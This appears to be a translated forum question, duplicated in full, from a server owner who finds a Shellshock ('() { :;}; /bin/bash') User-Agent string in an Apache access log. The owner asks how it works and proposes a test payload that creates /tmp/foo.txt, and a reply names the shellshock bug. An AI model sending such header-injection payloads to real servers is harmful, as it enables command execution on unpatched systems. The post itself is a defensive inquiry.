服务器被黑,apache2 日志包含使用 bash 命令获取
Server hacked, apache2 log contains get with a bash command
今天,我在 access.log 中看到了这一行:
xxx.xxx.xxx.xx - - (10/Dec/2016:xx:xx:xx +xxxx] "GET / HTTP/1.0" 200 XXXXX "-" "() { :;}; /bin/bash ... "
我不明白这是如何工作的,什么是“() { :;}; /bin/bash ...”访问日志子字符串?这不是 get 参数吗?黑客是如何在get请求中注入这个字符串的?
我想重现一个类似的get来检查/bin/bash是否已经执行,例如:
xxx.xxx.xxx.xx - - (10/Dec/2016:xx:xx:xx +xxxx] "GET / HTTP/1.0" 200 XXXXX "-" "() { :;}; /bin/bash -c \"touch /tmp/foo.txt \""
这看起来像 shellshock/bashdoor 错误。
今天,我在 access.log 中看到了这一行:
xxx.xxx.xxx.xx - - (10/Dec/2016:xx:xx:xx +xxxx] "GET / HTTP/1.0" 200 XXXXX "-" "() { :;}; /bin/bash ... "
我不明白这是如何工作的,什么是“() { :;}; /bin/bash ...”访问日志子字符串?这不是 get 参数吗?黑客是如何在get请求中注入这个字符串的?
我想重现一个类似的get来检查/bin/bash是否已经执行,例如:
xxx.xxx.xxx.xx - - (10/Dec/2016:xx:xx:xx +xxxx] "GET / HTTP/1.0" 200 XXXXX "-" "() { :;}; /bin/bash -c \"touch /tmp/foo.txt \""
这看起来像 shellshock/bashdoor 错误。